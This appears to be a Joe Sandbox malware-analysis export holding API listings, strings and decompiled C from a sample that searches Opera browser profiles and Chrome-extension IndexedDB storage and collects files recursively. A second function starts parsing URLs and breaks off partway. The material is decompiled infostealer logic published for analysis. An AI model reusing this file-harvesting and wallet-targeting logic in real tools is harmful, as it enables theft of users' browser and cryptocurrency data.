FindFirstFileA.KERNEL32(?,?), ref: 00419FE9
StrCmpCA.SHLWAPI(?,0044A810), ref: 0041A00C
StrCmpCA.SHLWAPI(?,0044A814), ref: 0041A026
_memset.LIBCMT ref: 0041A042
lstrcatA.KERNEL32(?,?), ref: 0041A058
wsprintfA.USER32 ref: 0041A07A
wsprintfA.USER32 ref: 0041A09A
wsprintfA.USER32 ref: 0041A0BC
wsprintfA.USER32 ref: 0041A0DF
wsprintfA.USER32 ref: 0041A101
wsprintfA.USER32 ref: 0041A121
GetFileAttributesA.KERNELBASE(?), ref: 0041A137

Part of subcall function 00419B80: wsprintfA.USER32 ref: 00419BC2
Part of subcall function 00419B80: FindFirstFileA.KERNEL32(?,?), ref: 00419BD9
Part of subcall function 00419B80: StrCmpCA.SHLWAPI(?,0044A810), ref: 00419BFF
Part of subcall function 00419B80: StrCmpCA.SHLWAPI(?,0044A814), ref: 00419C19
Part of subcall function 00419B80: _memset.LIBCMT ref: 00419C35
Part of subcall function 00419B80: _memset.LIBCMT ref: 00419C4B
Part of subcall function 00419B80: lstrcatA.KERNEL32(?,?), ref: 00419C5B
Part of subcall function 00419B80: lstrcatA.KERNEL32(?,004485EC), ref: 00419C6D
Part of subcall function 00419B80: lstrcatA.KERNEL32(?,?), ref: 00419C81
Part of subcall function 00419B80: lstrcatA.KERNEL32(?,004485EC), ref: 00419C93
Part of subcall function 00419B80: lstrcatA.KERNEL32(?,050983D0), ref: 00419CBD
Part of subcall function 00419B80: lstrcatA.KERNEL32(?,004485EC), ref: 00419CCF
Part of subcall function 00419B80: lstrcatA.KERNEL32(?,?), ref: 00419CDD
Part of subcall function 00419B80: lstrcatA.KERNEL32(?,004485EC), ref: 00419CEF
Part of subcall function 00419B80: lstrcatA.KERNEL32(?,?), ref: 00419D03

GetFileAttributesA.KERNELBASE(?), ref: 0041A17E
GetFileAttributesA.KERNELBASE(?), ref: 0041A1C5
_memset.LIBCMT ref: 0041A20D
_memset.LIBCMT ref: 0041A223
_memset.LIBCMT ref: 0041A239
_memset.LIBCMT ref: 0041A24F
_memset.LIBCMT ref: 0041A265
_memset.LIBCMT ref: 0041A27B
FindNextFileA.KERNELBASE(?,?), ref: 0041A291
FindClose.KERNEL32(?), ref: 0041A2A6
_memset.LIBCMT ref: 0041A2CB
lstrcatA.KERNEL32(?,Opera Stable), ref: 0041A307
wsprintfA.USER32 ref: 0041A329
wsprintfA.USER32 ref: 0041A349
wsprintfA.USER32 ref: 0041A36B
wsprintfA.USER32 ref: 0041A38E
wsprintfA.USER32 ref: 0041A3B0
wsprintfA.USER32 ref: 0041A3D0
GetFileAttributesA.KERNEL32(?), ref: 0041A3E6
GetFileAttributesA.KERNEL32(?), ref: 0041A42D
GetFileAttributesA.KERNEL32(?), ref: 0041A474
_memset.LIBCMT ref: 0041A4B6
_memset.LIBCMT ref: 0041A4CC
_memset.LIBCMT ref: 0041A4E2
_memset.LIBCMT ref: 0041A4F8
_memset.LIBCMT ref: 0041A50E
_memset.LIBCMT ref: 0041A524

Strings

Opera Stable, xrefs: 0041A2FB
%s\*.*, xrefs: 00419FB0
Opera GX Stable, xrefs: 0041A2ED
Opera Crypto Stable, xrefs: 0041A2DF
%s\%s, xrefs: 0041A094, 0041A0D9, 0041A11B, 0041A343, 0041A388, 0041A3CA
%s\%s\%s\%s, xrefs: 0041A074, 0041A0B6, 0041A323, 0041A365
\Pro, xrefs: 0041A483, 0041A43C, 0041A3F5, 0041A1D4, 0041A18D, 0041A146, 0041A14B, 0041A192, 0041A1D9, 0041A400, 0041A447, 0041A48E
%s\%s\%s\chrome-extension_%s_0.indexeddb.leveldb, xrefs: 0041A0FB, 0041A3AA

Memory Dump Source

Source File: 00000002.00000002.299234433.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.299225017.0000000000400000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299348792.0000000000440000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299367471.0000000000450000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299377458.0000000000466000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_AppLaunch.jbxd

Yara matches

Similarity

API ID: _memset$wsprintf$lstrcat$File$Attributes$Find$First$CloseNext
String ID: %s\%s$%s\%s\%s\%s$%s\%s\%s\chrome-extension_%s_0.indexeddb.leveldb$%s\*.*$Opera Crypto Stable$Opera GX Stable$Opera Stable$\Pro
API String ID: 3814941161-4127631718
Opcode ID: 7efdaf2ea2391daf72f101c2912df06583a3e2f7af8ebdcb85a72d5a71d36bcb
Instruction ID: 7e60b093ca02eb0aeaa928930628275a2e75e16ada5c3a5e9833ee8c22518315
Opcode Fuzzy Hash: 7efdaf2ea2391daf72f101c2912df06583a3e2f7af8ebdcb85a72d5a71d36bcb
Instruction Fuzzy Hash: 77F1A4B1941218ABDB24DB50DC85FEA7338FB48701F40459EF619A2192DB74AFD4CF98

Uniqueness

Uniqueness Score: -1.00%

Function 0040BC60 Relevance: 82.7, APIs: 44, Strings: 3, Instructions: 457
stringfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 59%

			E0040BC60(intOrPtr _a4, char* _a8, CHAR* _a12, char* _a16, struct _WIN32_FIND_DATAA* _a20, intOrPtr _a24, CHAR* _a28, int _a32, int _a36, intOrPtr _a40, intOrPtr _a44, intOrPtr _a48) {
				signed int _v8;
				char _v276;
				char _v540;
				char _v1540;
				char _v1804;
				char _v2804;
				char _v7804;
				struct _WIN32_FIND_DATAA _v8124;
				intOrPtr _v8128;
				CHAR* _v8132;
				char* _v8136;
				char* _v8140;
				CHAR* _v8144;
				void* _v8148;
				CHAR* _v8152;
				char _v8156;
				CHAR* _v8160;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t125;
				void* _t130;
				int _t137;
				void* _t139;
				int _t153;
				int _t168;
				intOrPtr _t169;
				int _t171;
				int _t176;
				CHAR* _t180;
				int _t185;
				intOrPtr _t186;
				CHAR* _t188;
				int _t189;
				void* _t196;
				int _t197;
				void* _t210;
				CHAR* _t213;
				void* _t223;
				char* _t224;
				int _t250;
				int _t252;
				CHAR* _t278;
				signed int _t279;
				void* _t280;
				char* _t282;
				char* _t284;
				CHAR* _t285;
				void* _t305;

				E00438A70(0x1fdc);
				_t125 =  *0x450664; // 0x30e242aa
				_v8 = _t125 ^ _t279;
				_t224 = _a8;
				_t278 = _a12;
				_t276 = _a28;
				_v8128 = _a4;
				_v8140 = _t224;
				_v8132 = _t278;
				_v8136 = _a16;
				_v8160 = _t276;
				wsprintfA( &_v1804, "%s\\*", _t278);
				_t130 = FindFirstFileA( &_v1804,  &_v8124); // executed
				_t257 =  &_v7804;
				_v8148 = _t130;
				L00429B30( &_v7804, 0, 0x1388);
				_t282 = _t280 + 0x18;
				_t133 = lstrcatA( &_v7804, _t276);
				if(_v8148 == 0xffffffff) {
					L54:
					return E00429B16(_t133, _t224, _v8 ^ _t279, _t257, _t276, _t278);
				} else {
					do {
						_push(".");
						_push( &(_v8124.cFileName));
						if( *0x453510() == 0) {
							goto L52;
						}
						_push("..");
						_push( &(_v8124.cFileName));
						if( *0x453510() == 0) {
							goto L52;
						}
						_t276 = _t278; // executed
						_t139 = E0040BB00(_t278, 0x80000000); // executed
						_t282 =  &(_t282[4]);
						if(_t139 == 0) {
							goto L52;
						}
						 *0x45358c( &_v540, _t278);
						lstrcatA( &_v540, "\\");
						lstrcatA( &_v540,  &(_v8124.cFileName));
						_t291 = _a36;
						if(_a36 != 0) {
							L7:
							L00429B30( &_v1540, 0, 0x3e8);
							L00429B30( &_v2804, 0, 0x3e8);
							_t284 =  &(_t282[0x18]);
							_push(0x4485e7);
							_push(_t224);
							if( *0x453510() != 0) {
								wsprintfA( &_v2804, "%s\\%s", _t224,  &(_v8124.cFileName));
								_t282 =  &(_t284[0x10]);
							} else {
								wsprintfA( &_v2804, "%s",  &(_v8124.cFileName));
								_t282 =  &(_t284[0xc]);
							}
							if(lstrlenA( &_v7804) <= 3) {
								__eflags = _a36;
								if(_a36 == 0) {
									L55:
									_t153 = PathMatchSpecA( &(_v8124.cFileName), _v8136);
									__eflags = _t153;
									if(_t153 == 0) {
										goto L48;
									}
									 *0x45358c( &_v276, _t224);
									lstrcatA( &_v276, "\\");
									_t257 =  &_v276;
									lstrcatA( &_v276,  &(_v8124.cFileName));
									_t278 = E004348A0(E00420A40( &_v540),  &_v276, 0x3e8, 0);
									__eflags = _a24 - _t278;
									if(_a24 <= _t278) {
										goto L48;
									}
									_t133 =  *0x4532a8; // 0x9c40
									__eflags = _t133 -  *0x4532b4; // 0xc
									if(__eflags <= 0) {
										goto L54;
									}
									_t276 = _v8132;
									_t168 = E0040BB00(_v8132, 0xc0000000);
									_t282 =  &(_t282[4]);
									__eflags = _t168;
									if(_t168 != 0) {
										__eflags = _a32;
										_t169 = _v8128;
										if(_a32 == 0) {
											_push( &_v276);
										} else {
											_push( &_v540);
										}
										E00428F00(_t169);
										_t282 =  &(_t282[4]);
										 *0x4532b4 =  &(_t278[ *0x4532b4]);
									}
									goto L48;
								}
								_t171 = PathMatchSpecA( &(_v8124.cFileName), "*.lnk");
								__eflags = _t171;
								if(_t171 == 0) {
									goto L55;
								}
								 *0x453504(0);
								_t224 =  &_v1540;
								_t276 =  &_v540;
								L0040B600(_t224,  &_v540);
								 *0x4534e8();
								_t176 = PathMatchSpecA(_t224, _v8136);
								__eflags = _t176;
								if(_t176 == 0) {
									L47:
									_t224 = _v8140;
									goto L48;
								}
								 *0x45358c( &_v276, _v8140);
								lstrcatA( &_v276, "\\");
								_t180 = PathFindFileNameA(_t224);
								_t257 =  &_v276;
								lstrcatA( &_v276, _t180);
								_t278 = E004348A0(E00420A40(_t224),  &_v276, 0x3e8, 0);
								__eflags = _a24 - _t278;
								if(_a24 <= _t278) {
									goto L47;
								}
								_t133 =  *0x4532a8; // 0x9c40
								__eflags = _t133 -  *0x4532b4; // 0xc
								if(__eflags <= 0) {
									goto L54;
								}
								_t276 = _v8132;
								_t185 = E0040BB00(_v8132, 0xc0000000);
								_t282 =  &(_t282[4]);
								__eflags = _t185;
								if(_t185 != 0) {
									__eflags = _a32;
									_t186 = _v8128;
									if(_a32 == 0) {
										_push( &_v276);
									} else {
										_push(_t224);
									}
									E00428F00(_t186);
									_t282 =  &(_t282[4]);
									 *0x4532b4 =  &(_t278[ *0x4532b4]);
									__eflags =  *0x4532b4;
								}
								goto L47;
							} else {
								_t269 =  &_v7804;
								_t188 = E0042C1AC(_t224,  &_v7804, _t276,  &_v7804, ":",  &_v8156);
								_t276 = 0;
								_t282 =  &(_t282[0xc]);
								_t278 = _t188;
								_v8144 = 0;
								if(_a36 != 0 && PathMatchSpecA( &(_v8124.cFileName), "*.lnk") != 0) {
									_v8152 = 1;
									 *0x453504(0);
									L0040B600( &_v1540,  &_v540);
									 *0x4534e8();
									_t276 = _v8152;
									_t224 = _v8140;
								}
								if(_t278 == 0) {
									L22:
									_push(_v8136);
									if(_t276 == 0) {
										_t189 = PathMatchSpecA( &(_v8124.cFileName));
										__eflags = _t189;
										if(_t189 == 0) {
											goto L48;
										}
										 *0x45358c( &_v276, _t224);
										lstrcatA( &_v276, "\\");
										_t257 =  &(_v8124.cFileName);
										lstrcatA( &_v276,  &(_v8124.cFileName));
										_t196 = E00420A40( &_v540); // executed
										_t278 = E004348A0(_t196,  &(_v8124.cFileName), 0x3e8, 0);
										__eflags = _a24 - _t278;
										if(_a24 <= _t278) {
											goto L48;
										}
										_t250 =  *0x4532a8; // 0x9c40
										__eflags = _t250 -  *0x4532b4; // 0xc
										if(__eflags <= 0) {
											goto L54;
										}
										_t276 = _v8132;
										_t197 = E0040BB00(_v8132, 0xc0000000);
										_t282 =  &(_t282[4]);
										__eflags = _t197;
										if(_t197 == 0) {
											goto L48;
										}
										__eflags = _a32;
										if(_a32 == 0) {
											L35:
											_push( &_v276);
											L36:
											E00428F00(_v8128); // executed
											_t282 =  &(_t282[4]);
											 *0x4532b4 =  &(_t278[ *0x4532b4]);
											goto L48;
										}
										_push( &_v540);
										goto L36;
									}
									if(PathMatchSpecA( &_v1540) == 0) {
										goto L48;
									}
									 *0x45358c( &_v276, _t224);
									lstrcatA( &_v276, "\\");
									_t257 =  &_v1540;
									lstrcatA( &_v276, PathFindFileNameA( &_v1540));
									_t278 = E004348A0(E00420A40( &_v1540),  &_v1540, 0x3e8, 0);
									if(_a24 <= _t278) {
										goto L48;
									}
									_t252 =  *0x4532a8; // 0x9c40
									_t305 = _t252 -  *0x4532b4; // 0xc
									if(_t305 <= 0) {
										goto L54;
									}
									_t276 = _v8132;
									_t210 = E0040BB00(_v8132, 0xc0000000);
									_t282 =  &(_t282[4]);
									if(_t210 == 0) {
										goto L48;
									}
									if(_a32 == 0) {
										goto L35;
									}
									_push( &_v1540);
									goto L36;
								} else {
									do {
										_push(0);
										_push(_t278);
										if(_t276 == 0) {
											_t269 =  &(_v8124.cFileName);
											_push( &(_v8124.cFileName));
										} else {
											_push( &_v1540);
										}
										if( *0x453450() != 0) {
											_v8144 = 1;
										}
										_t213 = E0042C1AC(_t224, _t269, _t276, 0, ":",  &_v8156);
										_t278 = _t213;
										_t282 =  &(_t282[0xc]);
									} while (_t278 != 0);
									if(_v8144 != _t213) {
										L48:
										_t257 = _a20;
										if(_a20 == 0) {
											L51:
											_t278 = _v8132;
											goto L52;
										}
										_t154 = _a48;
										_t236 = _a44;
										if(_a48 > _a44) {
											break;
										}
										E0040BC60(_v8128,  &_v2804,  &_v540, _v8136, _t257, _a24, _v8160, _a32, _a36, _a40, _t236, _t154 + 1); // executed
										_t282 =  &(_t282[0x30]);
										goto L51;
									}
									goto L22;
								}
							}
						}
						_t285 = _t282 - 0x1c;
						_t276 = _t285;
						_v8152 = _t285;
						_t276[0x14] = 0xf;
						_t276[0x10] = 0;
						 *_t276 = 0;
						E004050C0(_t276,  &_v540, L00429C90( &_v540));
						_t223 = L0040B730(_t291);
						_t282 =  &(_t285[0x20]);
						if(_t223 != 0) {
							goto L52;
						}
						goto L7;
						L52:
						_t257 =  &_v8124;
						_t137 = FindNextFileA(_v8148,  &_v8124); // executed
					} while (_t137 != 0);
					_t133 = FindClose(_v8148);
					goto L54;
				}
			}

0x0040bc68
0x0040bc6d
0x0040bc74
0x0040bc7e
0x0040bc82
0x0040bc86
0x0040bc96
0x0040bc9c
0x0040bca2
0x0040bca8
0x0040bcae
0x0040bcb4
0x0040bccb
0x0040bcd6
0x0040bcdf
0x0040bce5
0x0040bcea
0x0040bcf5
0x0040bd02
0x0040c253
0x0040c263
0x0040bd08
0x0040bd10
0x0040bd10
0x0040bd1b
0x0040bd24
0x00000000
0x00000000
0x0040bd2a
0x0040bd35
0x0040bd3e
0x00000000
0x00000000
0x0040bd49
0x0040bd4b
0x0040bd50
0x0040bd55
0x00000000
0x00000000
0x0040bd63
0x0040bd75
0x0040bd89
0x0040bd8f
0x0040bd93
0x0040bddf
0x0040bded
0x0040be03
0x0040be08
0x0040be0b
0x0040be10
0x0040be19
0x0040be4d
0x0040be53
0x0040be1b
0x0040be2e
0x0040be34
0x0040be34
0x0040be66
0x0040c0c6
0x0040c0ca
0x0040c264
0x0040c272
0x0040c278
0x0040c27a
0x00000000
0x00000000
0x0040c288
0x0040c29a
0x0040c2a7
0x0040c2ae
0x0040c2cd
0x0040c2cf
0x0040c2d2
0x00000000
0x00000000
0x0040c2d8
0x0040c2dd
0x0040c2e3
0x00000000
0x00000000
0x0040c2e9
0x0040c2f4
0x0040c2f9
0x0040c2fc
0x0040c2fe
0x0040c304
0x0040c308
0x0040c30e
0x0040c31f
0x0040c310
0x0040c316
0x0040c316
0x0040c326
0x0040c32b
0x0040c32e
0x0040c32e
0x00000000
0x0040c2fe
0x0040c0dc
0x0040c0e2
0x0040c0e4
0x00000000
0x00000000
0x0040c0ec
0x0040c0f2
0x0040c0f8
0x0040c0fe
0x0040c103
0x0040c113
0x0040c119
0x0040c11b
0x0040c1ce
0x0040c1ce
0x00000000
0x0040c1ce
0x0040c12f
0x0040c141
0x0040c14a
0x0040c151
0x0040c158
0x0040c173
0x0040c175
0x0040c178
0x00000000
0x00000000
0x0040c17a
0x0040c17f
0x0040c185
0x00000000
0x00000000
0x0040c18b
0x0040c196
0x0040c19b
0x0040c19e
0x0040c1a0
0x0040c1a2
0x0040c1a6
0x0040c1ac
0x0040c1b9
0x0040c1ae
0x0040c1b0
0x0040c1b0
0x0040c1c0
0x0040c1c5
0x0040c1c8
0x0040c1c8
0x0040c1c8
0x00000000
0x0040be6c
0x0040be73
0x0040be7f
0x0040be84
0x0040be86
0x0040be89
0x0040be8b
0x0040be94
0x0040bead
0x0040beb7
0x0040bec9
0x0040bece
0x0040bed4
0x0040beda
0x0040beda
0x0040bee2
0x0040bf37
0x0040bf3d
0x0040bf40
0x0040c004
0x0040c00a
0x0040c00c
0x00000000
0x00000000
0x0040c01a
0x0040c02c
0x0040c032
0x0040c040
0x0040c04c
0x0040c05f
0x0040c061
0x0040c064
0x00000000
0x00000000
0x0040c06a
0x0040c070
0x0040c076
0x00000000
0x00000000
0x0040c07c
0x0040c087
0x0040c08c
0x0040c08f
0x0040c091
0x00000000
0x00000000
0x0040c097
0x0040c0a1
0x0040c0a6
0x0040c0ac
0x0040c0ad
0x0040c0b3
0x0040c0b8
0x0040c0bb
0x00000000
0x0040c0bb
0x0040c0a3
0x00000000
0x0040c0a3
0x0040bf55
0x00000000
0x00000000
0x0040bf63
0x0040bf75
0x0040bf7b
0x0040bf90
0x0040bfaf
0x0040bfb4
0x00000000
0x00000000
0x0040bfba
0x0040bfc0
0x0040bfc6
0x00000000
0x00000000
0x0040bfcc
0x0040bfd7
0x0040bfdc
0x0040bfe1
0x00000000
0x00000000
0x0040bff1
0x00000000
0x00000000
0x0040bff7
0x00000000
0x0040bee4
0x0040bee4
0x0040bee4
0x0040bee6
0x0040bee9
0x0040bef4
0x0040befa
0x0040beeb
0x0040bef1
0x0040bef1
0x0040bf03
0x0040bf05
0x0040bf05
0x0040bf1d
0x0040bf22
0x0040bf24
0x0040bf27
0x0040bf31
0x0040c1d4
0x0040c1d4
0x0040c1d9
0x0040c224
0x0040c224
0x00000000
0x0040c224
0x0040c1db
0x0040c1de
0x0040c1e3
0x00000000
0x00000000
0x0040c21c
0x0040c221
0x00000000
0x0040c221
0x00000000
0x0040bf31
0x0040bee2
0x0040be66
0x0040bd95
0x0040bd98
0x0040bda0
0x0040bda6
0x0040bdad
0x0040bdb5
0x0040bdca
0x0040bdcf
0x0040bdd4
0x0040bdd9
0x00000000
0x00000000
0x00000000
0x0040c22a
0x0040c230
0x0040c238
0x0040c23e
0x0040c24d
0x00000000
0x0040c24d

APIs

wsprintfA.USER32 ref: 0040BCB4
FindFirstFileA.KERNEL32(?,?), ref: 0040BCCB
_memset.LIBCMT ref: 0040BCE5
lstrcatA.KERNEL32(?,?), ref: 0040BCF5
StrCmpCA.SHLWAPI(?,0044A810), ref: 0040BD1C
StrCmpCA.SHLWAPI(?,0044A814), ref: 0040BD36

Part of subcall function 0040BB00: GetFileSecurityA.ADVAPI32(?,00000007,00000000,00000000,?), ref: 0040BB20
Part of subcall function 0040BB00: GetLastError.KERNEL32(?,00000007,00000000,00000000,?), ref: 0040BB2E
Part of subcall function 0040BB00: _malloc.LIBCMT ref: 0040BB41
Part of subcall function 0040BB00: GetFileSecurityA.ADVAPI32(?,00000007,00000000,?,?), ref: 0040BB5F
Part of subcall function 0040BB00: GetCurrentProcess.KERNEL32(0002000E,?,?,00000007,00000000,?,?), ref: 0040BB79
Part of subcall function 0040BB00: OpenProcessToken.ADVAPI32(00000000,?,00000007,00000000,?,?), ref: 0040BB80
Part of subcall function 0040BB00: DuplicateToken.ADVAPI32(?,00000002,?,?,00000007,00000000,?,?), ref: 0040BB9B
Part of subcall function 0040BB00: MapGenericMask.ADVAPI32(?,?,?,00000007,00000000,?,?), ref: 0040BBF4

lstrcpy.KERNEL32(?,?), ref: 0040BD63
lstrcatA.KERNEL32(?,004485EC), ref: 0040BD75
lstrcatA.KERNEL32(?,?), ref: 0040BD89
_strlen.LIBCMT ref: 0040BDB8

Part of subcall function 0040B730: _strlen.LIBCMT ref: 0040B783
Part of subcall function 0040B730: _strlen.LIBCMT ref: 0040B7A9
Part of subcall function 0040B730: _strlen.LIBCMT ref: 0040B7CD
Part of subcall function 0040B730: _strlen.LIBCMT ref: 0040B7F4
Part of subcall function 0040B730: _strlen.LIBCMT ref: 0040B817
Part of subcall function 0040B730: _strlen.LIBCMT ref: 0040B83A

_memset.LIBCMT ref: 0040BDED
_memset.LIBCMT ref: 0040BE03
StrCmpCA.SHLWAPI(?,004485E7), ref: 0040BE11
wsprintfA.USER32 ref: 0040BE2E
wsprintfA.USER32 ref: 0040BE4D
lstrlenA.KERNEL32(?), ref: 0040BE5D
PathMatchSpecA.SHLWAPI(?,*.lnk), ref: 0040BEA2
CoInitialize.OLE32 ref: 0040BEB7
PathMatchSpecA.SHLWAPI(?,?), ref: 0040BF4D
lstrcpy.KERNEL32(?,?), ref: 0040BF63
lstrcatA.KERNEL32(?,004485EC), ref: 0040BF75
PathFindFileNameA.SHLWAPI(?), ref: 0040BF82
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 0040BFAA

Part of subcall function 0040BB00: CloseHandle.KERNEL32(?,?,00000007,00000000,?,?), ref: 0040BC2C
Part of subcall function 0040BB00: CloseHandle.KERNEL32(?,?,00000007,00000000,?,?), ref: 0040BC36
Part of subcall function 0040BB00: _free.LIBCMT ref: 0040BC3D

PathMatchSpecA.SHLWAPI(?,*.lnk), ref: 0040C0DC
CoInitialize.OLE32(00000000), ref: 0040C0EC

Part of subcall function 0040B600: MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,?,00000104), ref: 0040B67C
Part of subcall function 0040B600: lstrcpyn.KERNEL32(?,?,00000104,?,000000FF,?,00000104), ref: 0040B70B

PathMatchSpecA.SHLWAPI(?,?), ref: 0040C113
lstrcpy.KERNEL32(?,?), ref: 0040C12F
lstrcatA.KERNEL32(?,004485EC), ref: 0040C141
PathFindFileNameA.SHLWAPI(?), ref: 0040C14A
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 0040C16E
lstrcatA.KERNEL32(?,00000000), ref: 0040C158

Part of subcall function 00420A40: CloseHandle.KERNEL32(00000000,?,?,0040C2BF), ref: 00420A86

lstrcatA.KERNEL32(?,00000000), ref: 0040BF90

Part of subcall function 00420A40: CreateFileA.KERNEL32(?,80000000,00000003,00000000,00000003,00000080,00000000,?,?,?,0040C2BF), ref: 00420A5A
Part of subcall function 00420A40: GetFileSizeEx.KERNEL32(00000000,?,?,?,0040C2BF), ref: 00420A6C
Part of subcall function 00420A40: CloseHandle.KERNEL32(00000000,?,?,0040C2BF), ref: 00420A77

FindNextFileA.KERNELBASE(000000FF,?), ref: 0040C238
FindClose.KERNEL32(000000FF), ref: 0040C24D
PathMatchSpecA.SHLWAPI(?,?), ref: 0040C272
lstrcpy.KERNEL32(?,?), ref: 0040C288
lstrcatA.KERNEL32(?,004485EC), ref: 0040C29A
lstrcatA.KERNEL32(?,?), ref: 0040C2AE
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 0040C2C8

Strings

%s\*, xrefs: 0040BC90
%s\%s, xrefs: 0040BE47
*.lnk, xrefs: 0040BE96, 0040C0D0

Memory Dump Source

Source File: 00000002.00000002.299234433.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.299225017.0000000000400000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299348792.0000000000440000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299367471.0000000000450000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299377458.0000000000466000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_AppLaunch.jbxd

Yara matches

Similarity

API ID: lstrcat$File$Path_strlen$CloseFindMatchSpec$Handlelstrcpy$Unothrow_t@std@@@__ehfuncinfo$??2@_memsetwsprintf$InitializeNameProcessSecurityToken$ByteCharCreateCurrentDuplicateErrorFirstGenericLastMaskMultiNextOpenSizeWide_free_malloclstrcpynlstrlen
String ID: %s\%s$%s\*$*.lnk
API String ID: 2432291859-1856930566
Opcode ID: 42594c2ec1cdd6f070684ec8a1a20202fa9be43a1088665829b5c33abada6aa3
Instruction ID: afe66c46369241340d26c958f8af5a9df44db8a2c3c7eb80682b79c0b24a58c9
Opcode Fuzzy Hash: 42594c2ec1cdd6f070684ec8a1a20202fa9be43a1088665829b5c33abada6aa3
Instruction Fuzzy Hash: A7028271900319ABDB20DF50DC85BEA7379BB44746F0445BAF509A3191EB74EE84CFA8

Uniqueness

Uniqueness Score: -1.00%

Function 0040D190 Relevance: 56.8, APIs: 26, Strings: 6, Instructions: 842
networkfileCOMMON

Download Yara Rule

C-Code - Quality: 73%

			E0040D190(void* __eflags, char* _a4, char* _a8, intOrPtr _a28, intOrPtr _a36) {
				char _v8;
				char _v16;
				signed int _v20;
				void _v276;
				void _v2276;
				intOrPtr _v2284;
				DWORD* _v2288;
				char _v2304;
				intOrPtr _v2312;
				DWORD* _v2316;
				char _v2332;
				char _v2340;
				void* _v2344;
				char _v2360;
				char _v2368;
				void* _v2372;
				char* _v2388;
				char _v2396;
				void* _v2400;
				char* _v2416;
				char _v2424;
				void* _v2428;
				char _v2444;
				char _v2452;
				void* _v2456;
				char _v2472;
				char _v2480;
				void* _v2484;
				char _v2500;
				char _v2508;
				void* _v2512;
				char _v2528;
				void* _v2532;
				void* _v2536;
				char _v2540;
				void* _v2544;
				long _v2548;
				char* _v2552;
				long _v2556;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t361;
				signed int _t362;
				void* _t368;
				void* _t371;
				void* _t372;
				void* _t373;
				char _t375;
				char _t376;
				signed int _t377;
				long _t380;
				char* _t381;
				void* _t388;
				char* _t393;
				void* _t395;
				void* _t398;
				void* _t399;
				char* _t401;
				void* _t404;
				void* _t407;
				char* _t409;
				void* _t411;
				void* _t414;
				void* _t415;
				char* _t417;
				char* _t422;
				char* _t424;
				char* _t426;
				char* _t429;
				short _t430;
				char* _t431;
				signed int _t432;
				intOrPtr _t434;
				char* _t446;
				void* _t447;
				char* _t450;
				void* _t451;
				int _t453;
				void* _t456;
				int _t468;
				signed int _t469;
				void* _t471;
				int _t475;
				char* _t477;
				void* _t478;
				void* _t498;
				signed int _t507;
				signed int _t508;
				signed int _t509;
				signed int _t510;
				signed int _t511;
				signed int _t512;
				short _t513;
				void* _t515;
				signed int _t516;
				char* _t520;
				char* _t521;
				char* _t524;
				intOrPtr _t569;
				void* _t582;
				char _t583;
				void* _t595;
				void* _t600;
				char _t601;
				long _t604;
				char _t607;
				intOrPtr _t614;
				long _t618;
				char* _t619;
				void* _t621;
				void* _t622;
				intOrPtr _t623;
				signed int _t630;
				void* _t631;
				void* _t634;
				void* _t635;
				void* _t636;
				void* _t637;
				void* _t638;
				void* _t639;
				void* _t640;
				void* _t641;
				void* _t643;

				_t643 = __eflags;
				_push(0xffffffff);
				_push(0x43e4cd);
				_push( *[fs:0x0]);
				_t361 =  *0x450664; // 0x30e242aa
				_t362 = _t361 ^ _t630;
				_v20 = _t362;
				_push(_t362);
				 *[fs:0x0] =  &_v16;
				_v2552 = _a4;
				_v2532 = 0;
				_v8 = 0;
				_v2452 = 0xf;
				_v2456 = 0;
				_v2472 = 0;
				E004050C0( &_v2472, 0x4485e7, L00429C90(0x4485e7));
				_v2368 = 0xf;
				_v2372 = 0;
				_v2388 = 0;
				_v2396 = 0xf;
				_v2400 = 0;
				_v2416 = 0;
				_v2340 = 0xf;
				_v2344 = 0;
				_v2360 = 0;
				_v2424 = 0xf;
				_v2428 = 0;
				_v2444 = 0;
				_v2480 = 0xf;
				_v2484 = 0;
				_v2500 = 0;
				_v2508 = 0xf;
				_v2512 = 0;
				_v2528 = 0;
				_v8 = 7;
				_v2536 = 0;
				_t368 = E0040D0C0( &_a8,  &_v2332, _t643,  &_v2332);
				_t634 = _t631 - 0x9ec + 8;
				_v8 = 8;
				E00405040(_t368,  &_v2360);
				_v8 = 7;
				if(_v2312 >= 0x10) {
					_push(_v2332);
					E00429B0B();
					_t634 = _t634 + 4;
				}
				_t582 = L00429C90("https://");
				_t371 = _v2344;
				_t600 = 8;
				_t635 = _t634 + 4;
				if(_t371 < 8) {
					_t600 = _t371;
				}
				_t372 = _t600;
				if(_t600 >= _t582) {
					_t372 = _t582;
				}
				_t520 = _v2360;
				if(_v2340 < 0x10) {
					_t520 =  &_v2360;
				}
				_t373 = L0042AC58(_t520, "https://", _t372);
				_t636 = _t635 + 0xc;
				if(_t373 != 0 || _t600 < _t582 || (0 | _t600 != _t582) != 0) {
					_t583 = L00429C90("http://");
					_t375 = _v2344;
					_t601 = 7;
					_t637 = _t636 + 4;
					__eflags = _t375 - 7;
					if(_t375 < 7) {
						_t601 = _t375;
					}
					_t376 = _t601;
					__eflags = _t601 - _t583;
					if(_t601 >= _t583) {
						_t376 = _t583;
					}
					__eflags = _v2340 - 0x10;
					_t521 = _v2360;
					if(_v2340 < 0x10) {
						_t521 =  &_v2360;
					}
					_t377 = L0042AC58(_t521, "http://", _t376);
					_t636 = _t637 + 0xc;
					__eflags = _t377;
					if(_t377 == 0) {
